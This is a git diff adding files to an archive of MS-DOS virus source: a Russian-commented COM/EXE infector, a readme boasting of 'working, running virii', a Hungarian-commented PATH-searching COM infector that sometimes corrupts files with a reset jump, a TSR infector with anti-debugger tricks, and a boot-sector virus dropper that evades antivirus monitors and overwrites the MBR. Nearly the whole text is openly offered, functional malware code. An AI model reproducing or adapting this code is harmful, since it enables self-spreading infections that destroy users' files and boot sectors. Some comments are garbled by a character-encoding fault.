+infecting: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + push bp + push ds + push dx +;------------------------------------------------------------------ +; ¸ąįā ¢Ø¬  ¤ąį ¢Ŗā®ą  int 24h ­  ­ č ®ą ®āēØŖ - ā.. ­  Æą®įāćī +; § £«ćčŖć,Ŗ®ā®ą ļ ¢ į«ćē  "§ Ŗ«­®©" ¤ØįŖāė ­ Æ®§¢®«Øā DOS'ć ŖąØē āģ : +; Write protect error ... + mov al,24h + mov si,offset ofs_24h-offset virr + mov dx,offset int_24h_entry-offset virr + call inst_int + pop dx + pop ds +;-Open file...----------------------------------------------------- + mov ax,3d00h + int 21h + jc exit_pop +;-Read header (EXE) or first 4 byte (COM).------------------------- + mov bh,3fh + xchg ax,bx + mov cx,18h + push cs + pop ds + mov dx,offset origin_2_byte-offset virr + mov si,dx + int 21h ; ‘ēØāė¢ ¬ ¢ ćäą 24 Æą¢ėå  ©ā  Æą®£ą ¬¬ė! +_1: + jc exit_close ; …į«Ø ®čØŖ ,ā® § Ŗą®¬ ä ©« Ø ¢ė©¤¬. +;-Look SFT file!----------------------------- +; ‘®įā¢­­® £®¢®ąļ, ¤ « ؤā "اī¬Ø­Ŗ " ¢Øąćį  - ا-§  ­ ®­ جā ā ŖØ +;¬ «ė ą §¬ąė! ā Ŗ,ēā® ¦ ķā® : +; §¢®«Øā «Ø ¢Ø¤āģ ļ ¢įģ¬  «­Ø¢,Ø ­ ®ē­ģ «ī«ī ¢®§Øāįļ į ā ŖØ¬Ø +; ąćāØ­ ¬Ø Ŗ Ŗ į­ļāØ Ø ćįā ­®¢Ŗ   āąØćā®¢,Æą¬é­Ø ä ©«®¢®£® ćŖ § ā«ļ! +; € Æ®į¬ć ą įŖ®Æ « ļ ¢­ćāą­­īī Æ®¤ą®­®įāģ DOS' ! +; (ˇ­  ćÆ®¬Ø­ āįļ ¢ ą ®ā ..”Ø­®£­®¢  "‘ ¬®ćēØā«ģ Æ® įØįā¬­ė¬ äć­ŖęØļ¬ +; MS-DOS" (įāą. 67) (  ā Ŗ ¦ ¢ ķ«Ŗāą®­­®¬ įÆą ¢®ē­ØŖ Help PC) +; (‚Æą¢ė ÆąØ¬­­® ¢ RC-0-512 (666,Written by Dark Avenger.) +; ¯ā® SFT -- System File Table - (‘Øįā¬­ ļ ā «Øę  ®āŖąėāėå ä ©«®¢.) +;ˇ­  į®§¤ āįļ ¤«ļ ¢­®¢ģ ®āŖąė¢ ¬®£® ä ©«  Ø į®¤ą¦Øā Ø­ä®ą¬ ęØī ØįÆ®«ģ§ć¬ćī +;­Æ®įą¤įā¢­­® Æą®ę¤ćą ¬Ø § ÆØįØ/įēØāė¢ ­Øļ DOS' !!! +; +; ”ˇ€’ : +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĀÄÄÄÄÄÄÄĀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ‘¬é­Ø ļē©ŖØ ®ā ³ „«Ø­  ³ ¨ §­ ē­Ø +; ­ ē «  «®Ŗ .(„į.) ³ ³ +; ³ ³ +; 00 ³ 1w ³ ®«-¢® ¤įŖąØÆā®ą®¢ § ŖąÆ«­­ėå §  ä ©«®¬ +; 02 ³ 1b ³ ¦Ø¬ ¤®įāćÆ  § ¤ ­­ė© ÆąØ £® ®āŖąėāØØ +; 04 ³ 1b ³ €āąØćāė ä ©«  +; 11 ³ 1w ³ ¨®¬ą Æą¢®£® Ŗ« įāą  ä ©«  +; 13 ³ 1w ³ ‚ą¬ļ Æ®į«¤­© ¬®¤ØäØŖ ęØØ ä ©«  +; 15 ³ 1w ³ „ ā  ... +; 17 ³ 2w ³ „«Ø­  ä ©«  +; 21 ³ 2w ³ “Ŗ § ā«ģ ¢ ä ©« +; 32 ³ 11b ³ ¬ļ Ø ą įčØą­Ø ä ©«  (§ '.') +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĮÄÄÄÄÄÄÄĮÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + mov ax,1220h ; ‘© ćē įā®ēŖ Ŗ®¤  Æ®§¢®«ļā + push bx ; Æ®«ćēØāģ  ¤ąį SFT ¢ Æ ą ES:DI + int 2fh ; + mov bl,es:[di] ; + mov ax,1216h ; + int 2fh ; + pop bx ; + mov byte ptr es:[di+2],02 ; ‚¨€¨…!¯āج ¤©įā¢Ø¬ ¬ė + ;į¤« «Ø ā Ŗ,ēā® āÆąģ DOS + ;įēØā ā,ēā® ä ©« ®āŖąėā ¤«ļ + ;§ ÆØįØ/įēØāė¢ ­Øļ! + ; ’.. ­ ¬ ­ Æ®­ ¤®Ø«®įģ + ;į­Ø¬ āģ  āąØćāė ä ©« ! + mov bp,es:[di+17] ; BP = file len! +;--------------------------------------------- +; ’Æąģ Æą®¢ąļ¬  ©āė Ŗ®ā®ąė įēØā «Ø ¢ ćäą. + lodsb + dec si + cmp al,'M' ; MZ - ÆąØ§­ Ŗ ā®£®,ēā® ķā® .EXE ä ©«! + jz _EXE + cmp al,90h ; NOP - į«Ø ķā® .COM ä ©« ā® Æą®¢ąØ¬ £® ­  + ; Æ®¢ā®ą­ćī § ą ¦­­®įāģ!(‘¬®āąØā ¢ ­ ē «®) +_1d: + jz exit_close +;-Infect .COM -------------------------------- +; ’ Ŗ § ą ¦ īā .COM ä ©«ė! + xchg ax,bp + cmp ax,65000 + ja exit_close ;„«Ø­  ®«ģč ¤®Æćįāج®©. + + mov es:[di+21],ax ;‘ā ¢Ø¬ ä ©«®¢ė© ćŖ § ā«ģ ¢ + ;Ŗ®­ę ä ©« ! +;-Make JMP------------------------------------ +; ’.Ŗ. ÆąØ § ą ¦­ØØ ¬ė ¢ÆØįė¢ ¬ ¢ ­ ē «® .COM ä ©«  Æąå®¤ ­  ā«® ¢Øąćį  ā® +;¬ė ¤®«¦­ė ¢ėēØį«Øāģ į¬é­Ø ķā®£® Æąå®¤ ! + sub ax,04 + mov ds:[offset jmp_n-offset virr],ax + call write_virus ; ¸Øč¬ ¢Øąćį ¢ Ŗ®­ę ä ©« ! + mov cx,04h ; € āÆąģ ÆØč¬ ¢ ­ ē «® ä ©«  ā®ā į ¬ė© + mov dx,offset new_3_byte-offset virr ; Æąå®¤! +exit_write: + mov ah,40h + int 21h +_1b: jmp exit_date +;-Sub. for write virus body (only) in file.---- +write_virus proc + xor dx,dx + mov ah,40h + mov cx,offset ax_len-offset virr + int 21h + mov es:[di+21],dx ; F.P = start file! + mov es:[di+23],dx + cmp ax,cx + jnz _1c + ret +_1c: + pop ax + jmp _1b ; exit_date! +write_virus endp +;-Infect .EXE --------------------------------- +_EXE: +; € āÆąģ ¢ėįēØā ¬ ¤«Ø­ć ä ©« , Øį室ļ ا ¤ ­­ėå § ÆØį ­­ėå ¢ § £®«®¢Ŗ +; .EXE ä ©« ! į«Ø ®­  ­ į®©¤āįļ į § ÆØį ­®© ¢ SFT, ā® ¬ė įēØā ¬,ēā® +; ķā® ä ©«, į®¤ą¦ éØ© ­ļ¢­ė© ®¢ą«© Ø ­ § ą ¦ ¬ £®! + mov ax,ds:[si+4] ; Pages (512b). + dec ax + mov cx,512 + mul cx + add ax,[si+2] ; AX = File len from header. + cmp ax,bp ; Real file len = ax ? + jnz _1b ; No - this is overlay. +;----- + mov es:[di+21],ax ; “Ŗ § ā«ģ ¢ Ŗ®­ę ä ©« . + mov es:[di+23],dx +;-Get header.----------------------------------- +; ‡ Æ®¬Ø­ ¬  ¤ąį į Ŗ®ā®ą®£® ¬ė 椬 § ÆćįŖ āģ .EXE Æą®£ą ¬¬ć! + mov ax,[si+14h] + mov ds:[offset IP_file-offset virr],ax + mov ax,[si+16h] + mov ds:[offset CS_file-offset virr],ax +;----------------------------------------------- +; ‚ėēØį«Ø¬ ­®¢ė©  ¤ąį (ā.. ¤«ļ § ÆćįŖ  ¢Øąćį  ÆąØ įā ąā Æą®£ą ¬¬ė) + xchg ax,bp + mov cx,10h + div cx + sub ax,[si+8] + sbb dx,0 + mov [si+16h],ax ; ReloCS. + mov [si+14h],dx ; ExeIP. +;-Correcting file len in header.---------------- +;’Æąģ ®āŖ®ąąŖāØąć¬ ¤«Ø­ć ¢ § £®«®¢Ŗ .EXE ä ©« ! +;(¸…„“¸…†„€˛!„«Ø­  ¢Øąćį  = 385 ,  ¬ė ć¢«ØēØ¢ ¬ ¤«Ø­ć ä ©«  ¢ § £®«®¢Ŗ +; ­ ­  385 ,  ­  512!!!’.. āÆąģ ¤ąć£Ø "欭ė ¢Øąćįė" ­ ć¤ćā § ą ¦ āģ +; ķā®ā ä ©«).‘®įā¢­­® £®¢®ąļ ķā  ®į®­­®įāģ ļ¢«ļāįļ ÆąØ§­ Ŗ®¬ § ą ¦­Øļ,- +; ¬ė ¢¤ģ ­ § ą ¦ ¬ ®¢ą«Ø! + inc word ptr ds:[si+4] +;-Write virus to file.-------------------------- + call write_virus +;-Write new header.----------------------------- + mov cx,18h + mov dx,si ; DX = offset header. + jmp exit_write ; ¸®¤£®ā®¢Ø¢ ¢į Ŗ § ÆØįØ ØįÆą ¢«­­®£® + ;§ £®«®¢Ŗ  ¬ė Æą¤ ¬ ćÆą ¢«­Ø Æąļ¬® + ;­  Ŗ®¬ ­¤ć int 21h! +;---------------------------------------------- +inst_int proc + mov ah,35h + int 21h + mov ds:[si],bx + mov ds:[si+2],es + mov ah,25h + int 21h + ret +inst_int endp +new_3_byte db 90h ; NOP + db 0e9h ; JMP nn +jmp_n dw 0000 ; nn +;-Header for EXE file & buffer for first 5 bytes COM's file.-- +origin_2_byte: +header: + db 4 dup (90h) ; NOPs +ax_len db ? + db 20h dup (?) ; For EXE header. +ofs_24h dw ? +seg_24h dw ? +;******************************************************** +cseg ends + end start + +;-- Written by Light General.Kiev.1995.For free use! ---- \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.readme.txt b/MSDOS/Virus.MSDOS.Unknown.readme.txt new file mode 100644 index 00000000..1883a4a2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.readme.txt @@ -0,0 +1,19 @@ + +Rhys' Virii Archives: +~~~~~~~~~~~~~~~~~~~~~~~ + This is one of many ZIP archive files that, all together, contain + literally thousands of working, running virii. Enjoy. + + Please note that I have safely kept these on my hard drive as + uncompressed program files and have yet to be infected by one + of these. + + All you must do to avoid infection is make sure that no idiot + runs these. + + These virii are for educational uses only. I will not be + responsible for what you do with these. + + Once again, Enjoy! + + -Rhys diff --git a/MSDOS/Virus.MSDOS.Unknown.reboot.asm b/MSDOS/Virus.MSDOS.Unknown.reboot.asm new file mode 100644 index 00000000..6f6fc1bf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.reboot.asm @@ -0,0 +1,230 @@ + PAGE ,132 +VIRUS SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:VIRUS,DS:VIRUS + +HOSSZ EQU VEG-KEZDET +KEZDET EQU $ + +INDIT: PUSH CX +TBLC: MOV DX,OFFSET TABL + CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA + MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET + ADD SI,OFFSET FILKEZ-TABL + MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA + MOV CX,3 + REPZ MOVSB + MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME + MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE + INT 21H + CMP AL,0 ; MEG AZ 1.X VERZIO? + JNZ IND1 ; NEM + JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI +IND1: PUSH ES ; ES ELMENTESE + MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE + INT 21H ; ES ELTAROLASA A TABLAZATBAN + MOV WORD PTR [SI+DTACIM-TABL],BX + MOV WORD PTR [SI+DTACIM-TABL+2],ES + POP ES ; ES VISSZAOLVASASA + MOV DX,UJDTA-TABL + ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA + MOV AH,1AH + INT 21H + PUSH ES ; REGISZTEREK ELMENTESE + PUSH SI + MOV ES,DS:2CH ; A DOS KORNYEZET CIME + MOV DI,0 ; ELEJETOL +IND3: POP SI ; SI VISSZAOLVASASA + PUSH SI ; ES VISSZAIRASA + ADD SI,OFFSET SZOVEG-TABL + LODSB ; EGY KARAKTER BETOLTESE + MOV CX,8000H ; A KORNYEZET MAX. 32K + REPNZ SCASB ; AZ ELSO KARAKTER KERESESE + MOV CX,OFFSET FSPEC-SZOVEG-1 +IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA + SCASB ; ES ELLENORZESE + JNZ IND3 ; NEM EGYEZIK + LOOP IND4 ; FOLYTATNI + POP SI ; A REGISZTEREK VISSZAALLITASA + POP ES + MOV [SI+UTCIM-TABL],DI + MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME + ADD DI,OFFSET FSPEC-TABL + MOV BX,SI ; SI ELMENTESE BX-BE + ADD SI,OFFSET FSPEC-TABL + MOV DI,SI + JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN +INDE: CMP WORD PTR [SI+UTCIM-TABL],0 + JNZ IND6 ; VAN MEG TOBB UT + JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT +IND6: PUSH DS ; A REGISZTEREK ELMENTESE + PUSH SI + MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE + MOV DI,SI ; DI A TABLAZATRA MUTAT + MOV SI,WORD PTR ES:[DI+UTCIM-TABL] + ADD DI,OFFSET FSPEC-TABL +IND8: LODSB ; EGY KARAKTER BETOLTESE + CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL + JZ IND9 ; ANNAK A KODJA + CMP AL,0 ; A LEZARO NULLA? + JZ INDA ; AZ A KOD + STOSB ; ELTAROLAS + JMP SHORT IND8 ; FOLYTATNI +INDA: MOV SI,0 ; TOBB UT NEM LETEZIK +IND9: POP BX ; BX A TABLAZAT KEZDOCIME + POP DS ; DS VISSZAALLITASA + MOV [BX+UTCIM-TABL],SI + CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA? + JZ IND5 ; IGEN + MOV AL,5CH ; A '\' KODJA + STOSB ; ELTAROLASA +IND5: MOV [BX+FAKT-TABL],DI + MOV SI,BX ; A TABLAZAT KEZDOCIME BX + ADD SI,OFFSET FKER-TABL ; KERESO NEV + MOV CX,OFFSET UTCIM-FKER + REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA + MOV SI,BX ; SI A TABLAZAT KEZDOCIME + MOV AH,4EH ; FILE KERESESE + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + MOV CX,11B ; A KERESETT ATTRIBUTUM + INT 21H + JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI +INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE + INT 21H +INDC: JNC INDD ; MEGTALALTUK + JMP INDE ; NINCS ITT TOBB HASONLO +INDD: MOV AX,[SI+UJDTA-TABL+22] + AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT + CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/ + JZ INDF ; IGEN, TOVABB KELL KERESNI + CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H + JA INDF ; TUL NAGY FILE, NEM FERTOZHETO + CMP WORD PTR [SI+UJDTA-TABL+26],0AH + JB INDF ; TUL KICSI FILE + MOV DI,[SI+FAKT-TABL] + PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE + ADD SI,OFFSET UJDTA-TABL+30 +INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA + STOSB + CMP AL,0 ; A NEV ZARO NULLA? + JNZ INDG ; NEM, FOLYTATNI + POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA + MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H + MOV [SI+FILATT-TABL],CX + MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA + DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H + MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H + JNC INDH ; NINCS HIBA + JMP INDK ; HIBA TORTENT +INDH: MOV BX,AX ; A FILESZAM ATVITELE + MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA + INT 21H ; ES BEALLITASA + MOV [SI+FILIDO-TABL],CX + MOV [SI+FILDAT-TABL],DX + MOV AH,2CH ; A RENDSZERIDO BEOLVASASA + INT 21H + AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL? + JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK + MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/ + MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU + MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT + ADD DX,OFFSET RESET-TABL + INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE + JMP INDJ ; ENNEK MAR BEVEGEZTETETT +INDI: MOV AH,3FH ; OLVASAS A FILEBOL + MOV CX,3 ; AZ ELSO HAROM BYTE + MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE + ADD DX,SI + INT 21H ; BEOLVASNI + JC INDJ ; HIBA TORTENT + CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA? + JNZ INDJ ; NEM, HIBA VOLT + MOV AX,4202H ; MUTATO A FILE VEGERE + MOV CX,0 + MOV DX,0 + INT 21H + JC INDJ ; TORTENT HIBA? + MOV CX,AX ; A FILE HOSSZA + SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM + MOV [SI+UJKEZ-TABL+1],AX + ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN + MOV DI,SI ; A TABLAZAT KEZDETE + SUB DI,OFFSET TABL-TBLC-1 + MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE + MOV AH,40H ; KIIRAS A FILE-BA + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + MOV DX,SI ; A TABLAZAT KEZDOCIME + SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA + INT 21H ; KIIRAS + JC INDJ ; HIBA TORTENT + CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT? + JNZ INDJ ; NEM + MOV AX,4200H ; MUTATO A FILE ELEJERE + MOV CX,0 + MOV DX,0 + INT 21H + JC INDJ ; HIBA TORTENT? + MOV AH,40H ; KIIRAS A FILE-BA + MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA + MOV DX,SI + ADD DX,OFFSET UJKEZ-TABL + INT 21H ; KIIRAS +INDJ: MOV DX,[SI+FILDAT-TABL] + MOV CX,[SI+FILIDO-TABL] + DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H + OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC + MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA + INT 21H ; ES A FERTOZES JELZESE + MOV AH,3EH ; FILE LEZARASA + INT 21H +INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA + MOV CX,[SI+FILATT-TABL] + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H +IND7: PUSH DS ; DS ELMENTESE + MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA + MOV DX,WORD PTR [SI+DTACIM-TABL] + MOV DS,WORD PTR [SI+DTACIM-TABL+2] + INT 21H + POP DS ; DS VISSZAALLITASA +IND2: POP CX + XOR AX,AX ; AX=0 + XOR BX,BX ; BX=0 + XOR DX,DX ; DX=0 + XOR SI,SI ; SI=0 + MOV DI,100H ; 100H A VEREMBE + PUSH DI + XOR DI,DI ; DI=0 + RET 0FFFFH + +TABL EQU $ + +DTACIM DD 0 +FILIDO DW 0 +FILDAT DW 0 +FILATT DW 0 +FILKEZ DB 0,0,0 +UJKEZ DB 0,0,0 +FKER DB '*.COM',0 +UTCIM DW 0 +FAKT DW 0 +SZOVEG DB 'PATH=' +FSPEC DB 40H DUP(' ') +UJDTA DB 2BH DUP(0) +RESET DB 0EAH,0F0H,0FFH,0,0F0H + +VEG EQU $ + +VIRUS ENDS + + END \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.regdisp.asm b/MSDOS/Virus.MSDOS.Unknown.regdisp.asm new file mode 100644 index 00000000..d331dbaa Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.regdisp.asm differ diff --git a/MSDOS/Virus.MSDOS.Unknown.reincanation.asm b/MSDOS/Virus.MSDOS.Unknown.reincanation.asm new file mode 100644 index 00000000..5ccbbb62 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.reincanation.asm @@ -0,0 +1,147 @@ +start: +and al,21h + + ;anti_disassembler & anti_debugger +mov cx,09ebh +mov ax,0fe05h +jmp $-2 +add ah,03bh +jmp $-10 + + ;anti_debugger +mov ax,3503h ;save int 3h in bx +int 21h ;do it +mov ah,25h ;set new int 3h... +mov dx,offset new_int_3 ;...to new_int_3 +int 21h ;do it +xchg bx,dx ;exchange bx,dx (restore original int 3h) +int 21h ;do it + + + ;anti_vsafe +mov ax,0f9f2h +add ax,10h +mov dx,5935h +add dx,10h +mov bl,10h +sub bl,10h +int 16h + + +mov ah,9h ;write string +mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden. +int 21h ;do it + + +mov ax,9999h ;put 9999h in ax (for resident test) +int 21h ;do it + +cmp bx,9999h ;compare bx,9999h +je already_there ;if bx=9999h, we are already resident and goto already_there +jmp makemegotsr ;else goto makemegotsr + +already_there: ;already resident +int 20h ;exit + + +makemegotsr: + mov ax,3521h ; get int 21h + int 21h ;do it + mov word ptr cs:old21,bx ; save old int 21h + mov word ptr cs:old21+2,es ;... save + mov dx,offset new21 ; new int 21 comes to offset new21 + mov ax,2521h ; set new int 21h + int 21h ; do it + push cs ; push it + pop ds ; pop it + mov dx,offset endvir ; put everything of us in memory + int 27h ; do it + + +new21: pushf ;new int 21 + cmp ax,9999h ;resident test ??? + jnz no_installation_check ;if no test goto no_install_check + xchg ax,bx ;if resident test, put 9999h in bx +no_installation_check: ;no_install_check + cmp ax,4b00h ;is there something executed? + jz infect ;yes, goto infect + jmp short end21 ;no, jmp to normal old int 21h + +infect: ;infect the executed file + mov ax,4301h ;set attributes + xor cx,cx ;to 0 + int 21h ;do it + + mov ax,3d02h ;open file + int 21h ;do it + mov bx,ax ;put ax in bx, or.. xchg ax,bx.. but that doesn't work here + push ax ;push all + push bx + push cx + push dx + push ds + + push cs + pop ds + mov ax,4200h ;seek + xor cx,cx ;at beginning of tha file + cwd + int 21h ;do it + + mov cx,offset endvir-offset start ;how much bytes to write + mov ah,40h ;write + mov dx,offset start ;from offset start + int 21h ;do it + + cwd ; set date/time + xor cx,cx ; to zero + mov ax,5701h ;function for date/time + int 21h ;do it + + mov ah,3eh ; close file + int 21h ;do it + + mov ah,2ah ;get date + int 21h ;do it + cmp dh,4 ;compare month(dh) with 4 + jne not_my_birthday ;not the 4th month, goto not_my_birthday +monat_ok:cmp dl,21 ;else compare day(dl) with 21 + jne not_my_birthday ;not the 21th, goto not_my_birthday +tag_ok:mov ah,9h ;if it is the 21.April write message + mov dx,offset text ;of offset text + int 21h ;do it + mov ah,00h ;wait until keypressed + int 16h ;do it +jmp restore ;goto restore (tha registers) + +not_my_birthday: ;if it is not_my_birthday +mov ah,9h ;write message +mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden. (English: Bad command or filename.) +int 21h ;do it + + +restore: + pop ds ; pop all + pop dx + pop cx + pop bx + pop ax + +end21: popf ; pop far + db 0eah ; jmp far (?) + +old21 dw 0,0 ; where to store the old INT21 +text: db'ReIncanation written by Spooky. Austria 1996',0dh,0ah,'$' ;message for debugger or date 21.April +file_not_found: db'Befehl oder Dateiname nicht gefunden.',0dh,0ah,'$' ;message file not found +new_int_3: ;new interrupt 3h for the debugger +mov ah,9h ;write string to standard output +mov dx,offset text ;text to write +int 21h ;do it +mov ah,00h ;wait until keypressed +int 16h ;do it +int 20h ;-> terminate debugging + + +endvir label byte ; End of file + +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.replic_d.asm b/MSDOS/Virus.MSDOS.Unknown.replic_d.asm new file mode 100644 index 00000000..2fab62e3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.replic_d.asm @@ -0,0 +1,717 @@ +;********************************************************************************************** +;* * +;* FILE: DROP_REP.ASM (c) 1993 * +;* PURPOSE: Dropper containing REPLICATOR boot sector virus * +;* AUTHOR: Willoughby DATE: 04/19/93 * +;* * +;********************************************************************************************** +; +;------------------------------------------ EQUATES ------------------------------------------- +; +AT_TAG EQU 0FC +BAD_TAG EQU 0BAD +BIOS13_OFFSET EQU 004C +BIOS13_SEGMENT EQU 004E +BIOS40_SEGMENT EQU 0103 +BPB_NUM_SECT EQU 013 +CLEAR EQU 00 +INF_TAG1 EQU 0ABCD +INF_TAG2 EQU 0CDEF +MEM_SIZE EQU 0413 +MOTOR_ON EQU 043F +PARTITION_OFFSET EQU 01BE +ROM_SEGMENT EQU 0F0 +SET EQU 0BB +SYS_ID_OFFSET EQU 0FFFE +SYS_ID_SEGMENT EQU 0F000 +; +;---------------------------------------- MAIN PROGRAM ---------------------------------------- +; +CODE SEGMENT +; +;---------------------------- +;Dropper for REPLICATOR virus +;---------------------------- +; +DROPPER: +; +;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT +;or better). If not, skip the trigger date check/storage process and store "BAD" tag for +;the benefit of the REPLICATOR infection analysis program (a future release). +; + MOV AX,SYS_ID_SEGMENT + MOV DS,AX ;Set DS to ROM segment. + CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag. + PUSH CS + POP DS ;Set DS to dropper code segment. + JE >D1 ;If AT, check date and store before infection. + MOV DROP_MODAY,BAD_TAG ;If not, store hard drive drop date "BAD" tag + ;in VIRUS_DIR. + JMP >D3 ;Then continue infection process. +; +;Determine if date is equal to or greater than preselected infection date. This allows the +;dropper program to pass initial anti-viral scanning/activity monitoring by remaining dormant +;until a later date. Also, store month, day and year of pending fixed disk infection in +;VIRUS_DIR. +; +D1: + MOV AH,04 ;Set read-date function. + INT 01A ;BIOS read-clock interrupt. + MOV DROP_YEAR,CX ;Store infection year in VIRUS_DIR. + MOV DROP_MODAY,DX ;Store month and day in VIRUS_DIR. + CMP CX,01993 ;Compare system year with 1993 trigger year + ;(CH=century, CL=year, both in BCD). + JA >D2 ;If year>trigger year, proceed w/infection. + JB >D5 ;If yearD5 ;If the current date is not => the trigger + ;date, don't infect. +; +;Store time of pending fixed disk infection in VIRUS_DIR. +; +D2: + MOV AH,02 ;Select read-time function. + INT 01A ;BIOS read-clock interrupt. + MOV DROP_TIME,CX ;Store infection hour and minute in VIRUS_DIR. +; +;Determine if an anti-viral program is monitoring viral activity via INT40h. If so, don't +;infect. +; +D3: + PUSH DS ;Preserve DS. + XOR AX,AX + MOV DS,AX ;Zero DS to point to BIOS data table. + CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an + ;anti-virus program? + POP DS ;Restore DS. + JB >D5 ;If INT40h has been stolen, do not attempt + ;infection. +; +;Load MBR. +; + PUSH CS + POP ES ;Set ES to dropper code segment. + MOV AX,0201 ;Select read-1-sector function. + MOV BX,MBR_BUFFER ;Set disk I/O buffer offset. + MOV CX,0001 ;Track 0, sector 1. + MOV DX,0080 ;Head 0, fixed disk 1. + INT 013 ;Read MBR. + JB >D5 ;Exit if flag=failure. +; +;Check MBR for infection. +; + CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag. + JE >D5 ;If infected then exit. +; +;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT +;which might be present in that area. This is accomplished by checking the partition table +;value which holds the number of the starting head of the first partition. If this number is +;equal to or greater than 01, the first track is not in use. +; + CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on fixed disk by + ;checking partition table data. + JB >D5 ;If in use, exit to avoid damage to FAT. +; +;Increment hard disk infection counter for pending infection. +; + INC W[OFFSET HARD_COUNT] +; +;Write original MBR to its new location. Also, determine if VIRUS_DIR is present on the fixed +;disk. If so, don't write VIRUS_DIR to disk so that the previous infection counts and dates +;are retained. +; + MOV AX,0201 ;Select read-1-sector function. + MOV BX,MBR_BUFFER+0200 ;Set disk I/O buffer offset. + MOV CL,09 ;Track 0, sector 9. + INT 013 ;Read VIRUS_DIR sector. + JB >D5 ;Exit if flag=failure. + CMP W[BX+OFFSET INFECT_TAG2-0400],INF_TAG2 ;Check for VIRUS_DIR infection tag. + MOV AX,0302 ;Select write-2-sectors function. + MOV BX,VIRUS_DIR ;Specify VIRUS_DIR buffer offset. + JNE >D4 ;If VIRUS_DIR is not present, write + ;both VIRUS_DIR and MBR. + MOV AX,0301 ;If present, select write-1-sector + ;function. + MOV BX,MBR_BUFFER ;Specify MBR buffer address. + MOV CL,0A 